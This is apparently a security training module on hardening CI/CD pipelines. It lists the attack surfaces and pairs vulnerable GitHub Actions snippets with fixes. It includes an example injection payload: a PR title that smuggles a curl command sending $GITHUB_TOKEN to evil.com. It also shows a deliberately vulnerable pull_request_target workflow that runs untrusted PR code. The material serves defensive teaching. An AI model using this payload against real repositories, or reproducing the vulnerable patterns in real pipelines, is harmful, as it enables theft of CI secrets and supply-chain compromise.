Module 4 · CI/CD Pipeline Hardening 🔒

The CI/CD pipeline is the single system that can build and deploy your production code. Compromise it and you control every release, every commit, every secret your pipelines touch. Attackers know this — supply chain attacks via pipeline have moved from rare to common. This module covers the specific vulnerability classes in pipelines and the hardening that actually works.

Why pipelines are high-value targets

• They hold credentials to production: cloud deploy roles, registry push, prod databases
• They run untrusted input: PR code from anyone, dependencies from open-source registries
• They have build-time network and filesystem access — an attacker who executes in a build runner touches everything
• Compromising a widely-shared pipeline (reusable workflow, shared library) cascades to many downstream repos

The attack surface

1. Pipeline config injection — YAML that interprets untrusted input (PR titles, branch names, commit messages) as shell
2. Pwn-requests — PRs from forks that trigger privileged workflows via pull_request_target
3. Third-party actions/plugins — pulling @v1 tag (mutable) that gets compromised later
4. Secrets leakage — secrets printed in logs, exported to env vars captured by a compromised step
5. Runner compromise — self-hosted runners shared across workflows, not ephemeral
6. Registry access — push credentials that can be abused to publish malicious images
7. OIDC trust misconfiguration — cloud roles federated to CI with overly broad trust policies

Pipeline config injection — the classic

# BAD — vulnerable to injection
- run: echo "Processing PR ${{ github.event.pull_request.title }}"

# An attacker PR with title: a"; curl evil.com/$GITHUB_TOKEN #
# Runs in the workflow context with full token

# GOOD — pass via env var (never interpolated into shell)
- run: echo "Processing PR $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Rule: never directly interpolate ${{ github.event.* }} or ${{ github.head_ref }} into shell. Route through environment variables.

Pwn-requests — pull_request_target

GitHub’s pull_request trigger runs in the PR’s context (limited permissions, no secrets from the base repo). pull_request_target runs in the base repo’s context (full secrets, write access to the repo). Attackers target workflows using pull_request_target that also check out PR code — the PR can inject malicious code that runs with base-repo privileges.

# DANGEROUS
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with: { ref: ${{ github.event.pull_request.head.sha }} }  # PR code
      - run: npm install && npm test                            # executes PR code!

# The PR is untrusted but npm install runs scripts from package.json
# which the attacker controls

# BAD — mutable
- uses: thirdparty/cool-action@v1

# GOOD — immutable commit SHA
- uses: thirdparty/cool-action@a1b2c3d4e5f678901234567890abcdef12345678

# Dependabot can keep SHA pins up to date